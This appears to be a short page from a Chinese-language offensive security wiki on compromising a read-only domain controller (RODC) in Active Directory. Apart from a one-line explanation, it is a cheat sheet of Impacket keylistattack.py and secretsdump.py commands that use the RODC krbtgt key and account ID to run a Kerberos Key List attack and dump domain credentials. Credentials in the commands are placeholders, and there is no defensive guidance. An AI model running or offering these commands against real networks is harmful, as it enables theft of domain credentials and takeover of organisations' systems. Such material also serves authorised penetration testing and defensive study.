> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/rodc-zhi-du-yu-kong-zhi-qi-ru-qin.md).

# RODC-只读域控制器入侵

```
如果用户包含在Allowed RODC Password Replication中，则他们的凭据将存储在服务器中，并且 RODC 的msDS-RevealedList属性将填充用户名。
要求：
Impacket PR #1210 - Kerberos 密钥列表攻击（https://github.com/SecureAuthCorp/impacket/pull/1210）
RODC 的krbtgt凭据 (-rodcKey)
RODC的krbtgt账号ID（-rodcNo）
keylistattack.py 使用 SAMR 用户不过滤枚举（-full 标志）
>keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
keylistattack.py 定义目标用户名（-t 标志）
>keylistattack.py -kdc sever.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
secretsdump.py 使用 Kerberos 密钥列表攻击选项 (-use-keylist)
>secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
```